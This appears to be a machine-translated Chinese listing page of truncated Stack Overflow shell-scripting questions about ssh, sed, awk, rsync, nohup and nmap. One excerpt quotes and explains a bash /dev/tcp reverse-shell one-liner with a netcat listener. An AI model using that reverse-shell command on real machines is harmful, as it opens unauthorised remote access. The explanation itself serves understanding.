我想要一个命令,ssh’s进入机器,运行命令(cd或执行脚本或su),然后给我shell。向ssh传递命令似乎总是退出
我正在寻找的一些例子:
“嘘me@machine1“/executeMyScript&&cd/developmentDirectory”,然后它返回shell
我想这样做的原因是因为我使用了mrxvt(选项卡式x术语),它允许我为启动时执行的所有选项卡定义命令。我希望有一些ssh连接到同一台机器,但让他们在sshing后做不同的事情
-抢劫
谢谢 怎么样
ssh me@
我有一个自动程序脚本,我想在文件夹上运行。我希望脚本获取文件夹中的每个文件并对其运行shell命令。Automator设置为将输入传递给标准输入,但我认为我在下面没有正确使用标准输入,您能帮忙吗
for f in "$@"
do
java -Xmx1000m -jar /Users/myprog/myprog.jar $f
done
特殊变量$@表示提供给脚本的所有命令行参数
for循环逐步遍历每一个,并每次执行jar文件。您可以将脚本缩短为:
for f
do
java
标签: Shell
case-insensitivedash-shell
我正在使用破折号外壳文件名选项卡完成功能来完成文件名。但是破折号中的默认选项卡完成区分大小写。如何强制破折号中的文件名选项卡完成不区分大小写
在bash中,我可以将“set completion ignore case on”添加到/etc/inputrc中,但它在dash中不起作用。有什么建议吗?dash的哪个版本和操作系统?我的没有完成。你是不是碰巧使用了rlwrap?@Dennis Williamson:Ubuntu 10.04I在文档或源代码中找不到任何关于dash中文件名完成的参考,除
我正在Ubuntu上编写一个shell脚本,并使用
sed命令来替换所有出现的tore
使用换行符\n
sed 's/TOREPLACE/\n/g' /home/user/source.txt
这很好,但我真正想做的是
要将上面的输出分配给变量,请执行以下操作:
TTT=$(sed 's/TOREPLACE/\n/g' /home/user/source.txt)
echo $TTT
echo$TTT未提供预期的输出。。。当我试图替换
t使用其他字符串替换,一切正常
当我将sed重定向到一个
我有两个文件
cat test1.txt
1|2|3|4
2|3|4|4
3|4|5|5
cat test2.txt
1|2|4|5
2|3|5|6
3|5|7|7
我的输出应该是
1|2|3|4|4|5
2|3|4|4|5|6
这就像将字段1和2上的两个文件连接起来,然后从文件1和文件2获取值1,2,3,4
请帮我做这件事?试着用perl
paste -d '|' file1.txt file2.txt |
perl -F'\|' -lane '
pri
我希望通过将扩展名类型作为参数来删除文件夹中的文件扩展名
下面是我的代码,它没有像我预期的那样工作
if [ $# -ne 1 ]
then
echo -e "\nUsage: $0 Ext"
echo -e "\nExt - Refers to the extension you want to remove"
echo -e "\nExample1: $0 .txt\nExample2: $0 .doc\nExample3: $0 .pdf\n"
exit 1
fi
如何在shell脚本中使用浮点数(如1.503923)进行算术?浮点数作为字符串从文件中提取。文件格式如下:
1.5493482,3.49384,33.284732,23.043852,2.2384...
3.384,3.282342,23.043852,2.23284,8.39283...
.
.
.
这里是一些简化的示例代码,我需要开始工作。一切都符合算术。我从文件中提取一行,然后从该行中提取多个值。我认为这将减少搜索处理时间,因为这些文件是巨大的
# set vars, loops et
以下语句在shell脚本中的含义是什么
if ($?REGRESS) then
....
endif
给定函数从何处获取输入?这是我无法理解的旧脚本的一部分。$?是一个特殊变量。它存储最后一个命令的退出状态。如果最后一个命令成功运行,则它将为0,其他值表示失败 从csh手册页:
$?name
${?name}
Substitutes the string `1' if name is set, `0' if it is not.
但是,停止使用csh(未来读者可能会因为某种原因错过使
我在《流浪汉》里有一个剧本供应员。我的盒子是64位精确的。我的脚本的相关行如下所示:
sudo bash -c 'echo "deb https://oss.oracle.com/debian/ unstable main non-free" >/etc/apt/sources.list.d/oracle.list'
wget -q https://oss.oracle.com/el4/RPM-GPG-KEY-oracle -O- | sudo apt-key add -
sudo ap
我使用了nohup命令并从后台执行了一个unixshell脚本,但是我想在上一个shell脚本完成之前立即执行下一个命令,我不想等到shell脚本完成
有没有办法,我试过用nohup,但我得到了这个:
nohup:将输出附加到'nohup.out'
无法获得运行下一个命令的控件。有没有办法在调用shell脚本并让它在后台运行后立即退出,在不使用CTRL+C或强制关机的情况下执行下一个命令
我使用了下面的命令,但是
$nohup sh dataload.sh&
[1] 14472
$noh
我是cvs存储库的远程用户,我的CVSROOT是
:ext:aa81000@cvs.qintra.com:/opt/scm/cvs/home/repository
当运行cvsCheckout命令时,它会在运行时提示输入密码。我的要求是每天编写一个shell脚本进行签出,因此当我在shell脚本中使用cvsCheckout命令时,它会提示输入密码。有人能告诉我如何在编译时输入cvsCheckout的密码吗?我指的是在shell脚本中。
请提供帮助您是否尝试过cvs登录?许多cvs选项都要求
我想知道是否有可能在shell脚本在终端中运行时将其输出保存到文件中。例如,假设我正在使用命令javacfoo.java编译一个java程序。如何将该特定命令(错误等)的所有输出保存到一个文件中以供将来参考,而不必在每次运行该命令后点击command-s并选择save and replace 使用javac foo.java>output.txt将命令的输出捕获到文件output.txt
但是,这将在编译模块时对您隐藏所有输出
如果您希望在终端中查看构建的输出,同时将输出捕获到文件output.
我目前正在尝试监视主机/端口是否打开(这是一个Informix DB,但我认为这与此无关)。
我尝试了几种方法,其主要思想是使用nmap,然后使用grep输出,其中将包含open或closed
脚本在本地工作,但在Jenkins上不工作——我不确定确切原因:
#!/bin/sh
set -e
nmapOutput=$(nmap -PN -p 20007 193.230.133.49);
echo $nmapOutput | grep closed 1>/dev/null
if [
标签: Shell
splitcommand-line-arguments
我正在编写一个shell脚本,它在一个curl命令的末尾运行,发布一个json数据。这个数据太长,在运行脚本时,它无法运行完整的命令!我试图拆分行,但json数据中出现错误
注意:我正在使用嵌入式linux你能把你的JSON数据写入一个文件并调用curl吗
curl "$URL" --header 'Content-Type:application/json' --data @data.json
显示curl command.curl-header'Content Type:applicati
我正在运行一个shell脚本,它生成以下输出
Built-By : apache
Created-By : Apache Maven
Implementation-Title : testApp
Implementation-Vendor-Id : com.test.app
Implementation-Version : testBox
Manifest-Version : 1.0
appname : TestStar
build-date : 02-03-2014-13 : 4
我似乎不能把事情安排成这样
输出应该是这样的:
All About Ubuntu:Ubuntu Team:76.00:55:133
Catch Me If You Can:Mary Ann:23.60:6:2
Happy Day:Mary Ann:12.99:197:101
为什么不直接排序-t:-n-k4-r文件呢?考虑到你想在第四列进行排序,等等,这对我来说很有效。我正在使用gedit。似乎无法对数量进行排序sold@fedorqui还有其他方法吗?@fedorqui让我们说,如果我想删除
我在unix中有下面的文件“Main.cap”-
如果我想从特定IP捕获所有数据包,比如:1.1.1.1提供所有数据包的大小都不相同
Device:A
Host:B
IP:0.0.0.0
Time:123654
Location:India
Device:B
Host:C
IP:1.1.1.1
Time:125423
Device:C
Host:D
IP:1.1.1.1
Time:129423
Device:E
Host:F
IP:1.1.1.1
Time:125423
Locati
获取错误:否则我无法运行上述代码
#!/bin/ksh
echo -n "enter the 1 to convert lower to upper or 2 convert upper to lower"
read n
echo -in_str "Enter the string here"
read in_str
echo $n
echo $in_str
if [ $n -eq 1 ] then
$ echo $
标签: Shell
dedicated-servermx-record
是否有一个可以从shell运行的命令允许我查看服务器上的所有MX记录
我们有一个专用服务器,上面有cPanel。默认情况下,所有路由设置都设置为“自动”。这非常有效,直到我们有一家拥有自定义MX记录的公司进入指向不同IP地址的子域。在这种情况下,cPanel将路由设置保持为本地,而它应该是远程的
我需要一种方法来快速查看服务器上的所有MX记录(我们有600多个站点),并查看哪些记录不会进入default DOMAIN.com,以便我可以验证所有这些记录是否与/etc/remotedomains文
当我试图让rlwrap在Emacs(版本24.3.50.1)shell缓冲区(无论是M-x shell还是M-x eshell)内工作时,我收到以下错误消息:
哦,崩溃了(抓住了SIGFPE)-这不应该发生
例如:
rlwrap telnet google.com 80
从常规终端(如xterm)可以正常工作,但从Emacs缓冲区内的shell崩溃
有几个人也有类似的问题,但到目前为止,我能找到的唯一“答案”是邮件列表上的“RTFM”式答案。我确实读过Emacs文档中的那部分内容,但我不明白
代码如下:
if [ -z ${CONFIG+x} ]; then
CONFIG=/usr/local/etc/config.ini
else
CONFIG=$(realpath $CONFIG)
fi
有人能告诉我“x”到底是什么意思吗?这意味着如果设置了变量$CONFIG,则使用值x,否则使用空字符串
测试-z检查以下参数是否为空,因此如果未设置$CONFIG,则将执行if分支
测试它(使用以前未设置的$a):
这是为POSIX外壳定义的特性之一。最简单的是一个被替换的变量,${param
您好,我是shell脚本新手。在我的shell脚本中,我想重复这个过程
script.sh
echo "Enter the city name"
read cityname
echo "Enter the state name"
read statename
pig -x mapreduce mb_property_table_updated.pig city=$cityname state=$statename
echo "Do you want to run for another city
我有一个如下所列的文件:
-180.0564
-179.0857
178.4739
我需要查看整个文件,只更改正(或负)值减去一个整数,比如100或360。
我在web上开发了这段代码,并使用bc命令执行浮动操作
问题是现在所有的负值都在改变,而不是正值,我不明白为什么
代码如下:
#!/bin/bash
FILE=$1
while read line;do
if [ $(echo $line '>' 0.0 |bc -l) ]; then
line=$(echo "$
我刚开始学习shell脚本。
Shell脚本时,我必须使用while循环?
while循环的定义是什么
你能给我一些明确的信息吗
多谢 如果要处理直到满足条件,则必须使用while循环。
在下面的代码中,我们运行循环直到c小于5,我们不知道循环将运行多长时间?这是不可预测的,但它必须运行,直到我们达到我们的标准
#!/bin/bash
c=1
while [ $c -le 5 ]
do
echo "Welcone $c times"
(( c++ ))
done
如果您知道必须
我有一个服务器,它在/files/category/specific/*上有文件
在我的本地计算机上,我有一个~/files目录。我想做的是把/files/category/specific/*拉到我本地的~/files/something/whatever。但是something/whatever不存在,我希望rsync也创建这些本地目录
如何使用rsync实现这一点?试试以下方法:
rsync -a --relative user@remote:/files/category/specifi
由于我在unix环境中工作,因此我有一个由我的应用程序在以下位置创建的日志,即
/opt/app/glac/current/servers/ops/log
在日志目录中,创建了不同类型的日志(即extesion as.log文件),您是否可以建议我编写一个shell脚本,该脚本将询问用户天数,这样如果用户输入值3,那么它将删除所有3天以前的日志,假设日期为2015年12月19日,如果用户输入值为3,则将删除包括12月16日在内的日志,并且仅保留17、18和19日的日志
请告知实现此目的的she
有人能深入解释一下什么是反向shell,在什么情况下我们应该使用它吗?
我发现这是关于同样的,什么是含义:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
它是由目标引入的(n个不安全的)远程shell。这与源代码引入的“普通”远程shell相反
让我们用localhost来代替10.0.0.1:
在终端中打开两个选项卡
打开TCP端口8080并等待连接:
nc localhost -lp 8080
nc本地主机-LP8080
打开
在HP-UX中,我尝试执行以下操作:
$ alias awkFirst="awk -F',' '{print $1}'"
但这并不是成功的,而是回报:
ksh:1:未设置参数
我不明白ksh和这有什么关系
此外,我试图在脚本中声明上述别名(以#!/bin/sh开头),但仍然失败,ksh的错误响应与此相同。我想我找到了解决方案:$alias awkFirst=“awk-F'\,“{print\$1}”,如果不包含一些标签,如shell,几乎没有人能帮上忙。
在expect脚本中,我执行ssh并调用一个返回值的bash脚本。如何在expect脚本中获取shell脚本的返回值?Wait将返回Spawn的状态,但我需要shell脚本的retrun值。提前谢谢
#!/usr/bin/expect
proc auto { } {
global argv
set timeout 120
set ip XXXX.XXX.XX.XX
set user name
set password pass
se
我有这样的命令:
grep ABC /tmp/dir{1,3,7}/file*.txt
它工作得非常好,但我需要使用如下文件名提取常量:
FILENAME="/tmp/dir{1,3,7}/file*.txt"
grep ABC $FILENAME
由于大括号的原因,这不起作用。
我该怎么做呢?这是一种可能有用且希望安全的情况:
eval grep ABC "$FILENAME"
试验
但是如果我们存储在一个变量中,它会得到文本
$ f=a{1..3}
$ echo $f
a{1..3}
我是新年,我需要一些答案。我在网上搜索了一些答案,但没有找到任何有用的。我正在搜索的是一个shell程序,当您执行它时,它会创建一个具有二进制名称的Makefile,参数如下:
./automakefile.sh您好
将为您构建一个名为hello的二进制文件
我希望你们能帮助我,我指望你们,不幸的是,没有这样的魔法命令。如果有,我们就不需要使用makefile,因为这种魔力很可能已经包含在编译器中
没有这样的命令有几个原因
给定一个随机的二进制文件,您通常无法说出它是用什么编程语言编写的
您也无
我有一个测试数据文件,如下所示
PAT1
3 - first block
4
PAT2
PAT3
7 - second block
PAT4
PAT5
10 - third block
PAT6
PAT7
12 - forth block
我相信awk代码的语法在shell脚本中是错误的。我试图阅读该页面,但无法快速找出shell脚本中的awk代码的错误。awk看到的是文本$Data和$Data2,而不是插值。对于这种情况,您可以(可能)使用双引号:
awk "/$Da
我有一些文件的名字里有空格。我想选取包含特定文本的所有文件,并将这些文件复制到另一个目录。我可以使用grep来完成第一部分,但无法将文件名列表输送到cpcp始终根据空格对文件名进行切片。我试过xargs--null,但这对我没有好处。任何实用的解决方案?对grep和xargs使用--null选项:
grep --null --files-with-matches 'word' * | xargs --null cp -t "$target_dir"
--null选项使命令以零字节而不是换行符终
我有一份Jenkins的工作,我想使用shell从目录中读取一个文件,并在ant test步骤中传递该文件
假设我要读取的文件是/home/xxx/y.txt。文件名始终会更改,但在该目录的任何给定点上,只有一个扩展名为.txt的文件
因此,我试图在“Execute Shell”构建操作中将该文件作为ant-Dfile=/home/xxx/*.txt传递,但该构建“无法读取该文件”。Shell不会将-Dfile=/home/xxx/*.txt扩展为-Dfile=/home/xxx/y.txt,因
我在unix服务器上有一个目录
cd /home/client/files
它有多个客户端文件夹,如下所示
cd /home/client/files/ibm
cd /home/client/files/aol
cd /home/client/files/citi
它们都会向我们发送一个以小写或大写开头的文件,如下所示:
pre-ibm-03222017
PRE-aol-170322
收到文件后,我们将对其进行处理,并将pre转换为pro,如下所示:
pro-ibm-03222017
PR
因此,目前我正在寻找一种解决方案,它将为我提供所有失败的unixshell脚本的输出。因此,根据我的理解,我们可以检查最后一个命令是否成功,但我们是否有任何东西可以给我一个在服务器级别中止的shell脚本列表
谢谢我不太明白这个问题:对于每个碰巧由任何用户在主机上执行的shell脚本,您想记录哪些脚本具有非零退出代码??????您必须用自己的版本(基本上是原始版本的包装器)替换/usr/bin中的bash、zsh、ksh等,这将记录退出代码,即使这样也不能保证用户在本地安装自己的shell。说到
我需要在Jenkins的多行shell脚本中访问Groovy定义的变量(例如var1)。我需要在sh中使用双引号“”
但我也需要读取和更改os系统变量(例如aws_api_key)。它需要在sh中使用单引号“”,并使用\来转义美元符号。(我参考)
我怎样才能同时使用它们?任何帮助都将不胜感激
e、 g
结果是:
+ echo the groovy data var1 is ,${var1},,,var1!!!
the groovy data var1 is ,${var1},,,var1!!!
我目前正在编写一个脚本,它将搜索特定程序名的路径,然后输出该程序的所有路径(可能有多个可执行文件)。
我想到的是查找$path-name programName。给定测试输入,虽然它确实生成正确的输出,但对于路径中没有程序的目录,它也不会输出这样的文件或目录行。有没有办法把它去掉
谢谢
编辑:此脚本旨在模拟“which-a”命令,如果有帮助,请尝试:
find "$path" -name programName -type f 2>/dev/null
尝试:
我建议您使用以下命令,因为您
我正在尝试创建一个快速脚本,它将从备份文件夹中获取一个文件。备份文件每天生成,文件名格式为:
backup-sql-YYYYMMDD.zip
我正在尝试使用以下方法获取文件名:
#!/bin/sh
VAR_1="backup-sql-"
VAR_2=date +%Y%m%d
VAR_3=$VAR_1$VAR_2
echo "$VAR_3"
然而,结果是:
备份sql-
当我跑步时:
date +%Y%m%d
我明白了
所以我不知道为什么会这样。请有人帮助我:)您应该使用backticks
我有一个托管在Azure中的VM Linux服务器,每次提交(VST)时,最新的映像都需要在服务器中运行
我创建了一个ssh文件,用于清理旧映像和容器,登录Azure存储库,下载最新映像,然后运行映像
编辑:在某种程度上它是有效的,但我得到了几个错误,如:
2018-07-10T13:40:20.5189780Z ##[error]WARNING! Using --password via the CLI is insecure. Use --password-stdin.
2018-07-10
我想以如下方式运行kubernetes部署:
apiVersion: v1
kind: Deployment
metadata:
name: my-deployment
namespace: my-namespace
spec:
replicas: 1
template:
spec:
containers:
- name: my-app
image: our-own-registry.com/somerepo/my-app:${IM
我需要一个shell脚本,它根据行键删除多个HBase行
我尝试使用行键删除HBase表中的多行。但是,我使用的脚本是每次登录到HBase shell时逐个删除行
#!/bin/bash
declare -a rowkeys=("1" "2")
table="ns:my_table"
echo $table
for rowkey in "${rowkeys[@]}"
do
echo -e "deleteall '$table' , '$rowkey' " | hbase shell
done
使用脚本需要标识给定路径下包含特定关键字的所有文件或文件夹。该路径将有多个文件夹。
下面是使用的脚本
#!/bin/sh
DIR=''
for FILE in ls "$DIR"*
do
# echo $FILE
grep -l $FILE "*FY*"
done
~
您必须在要搜索的路径之前给出“关键字”。这在你的剧本中不是这样的
grep -l -r "keyword" path/to/folder
测试df和awk命令在以下命令中是否成功的最佳方法是什么?使用Solaris
df-h/myloc*|awk'{if($5>80)print$6}>somelog一种简单的方法是将它们拆分,以便存储第一个输出并检查两个退出状态的连接:
if OUT1=$(df -h /myloc*) && echo ${OUT1} | awk '{ if ( $5 > 80 ) print $6}' > somelog; then
echo "success"
else
e
我想使用shell脚本将rclone配置为使用OneDrive。我想要的唯一用户交互是身份验证。目前,我正在使用命令行:
$ rclone config create MyOneDrive onedrive --onedrive-drive-type business
但是,当我想列出驱动器内容时,出现了错误:
$ rclone ls MyOneDrive:
2020/02/24 22:28:21 Failed to create file system for "MyOneDrive:":
我在文件目录记录中有多个文件:
Record
1.txt
2.txt
3.txt
文件2.txt在第一行的第二列中包含一个字符串abcd。如何打印2.txt中的所有内容?
如何删除文件2.txt
我使用awk打印该文件中的所有内容,但它只打印该行
我使用find命令将文件名存储在file.txt文件夹中,但它给了我一个错误
rm -rf Record
mkdir Record
cd Record
echo f1
touch 1.txt
echo author: efg &
我不熟悉shell脚本。我需要将字符串中的值转换为整数,以便从csv文件计算下面提到的各个列的总和
列看起来像:
“喜欢”,“不喜欢”
"61","110"
120,70
我尝试过使用awk-F',“{sum+=1}END{print sum}”
但这并没有给我期望的结果,因为有些值是字符串。如何在添加这些值之前将其转换为整数?如果您确定引号“仅与数字结合使用,则简单的
more file.csv | tr '"' ' ' > fixed.csv
我应该做这项工作
如果第一行
这是一个HTML文件,包含大量。。。HTML文件中的内容,其格式如下
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>
<section>
<div>
<header><h2>This is a title (RfQVthHm)</h2></header&
我正在运行shell脚本来更新pom版本,但出现以下错误
sed:-e表达式#1,字符41:unterminated's'命令
Shell脚本
#!/bin/sh
tag=$(grep '<version>' $2 | sed 's/<version>[^-]*-\(.*\)<\/version>/\1/')
sed -i "s/<version>.*<\/version>/<version>
将*赋值给变量,然后在shell中用字符串将其包含,我无法获得所需的输出。。
chr函数将int转换为char
42=*
作业做得很好,但是
echo $m
将参数公开给全局展开。您需要使用引号:
echo "$m"
echo*不同于echo'*',正如echo$m不同于echo“$m”@Avis TnM-如果没有chr@Armali的定义,上述代码是无法运行的,它可能是chr(){printf'\x$(printf''x'$1);}--打印具有给定小数点的ASCII字符
上一页 1 2 3 4 5 6 ...
下一页 最后一页 共 437 页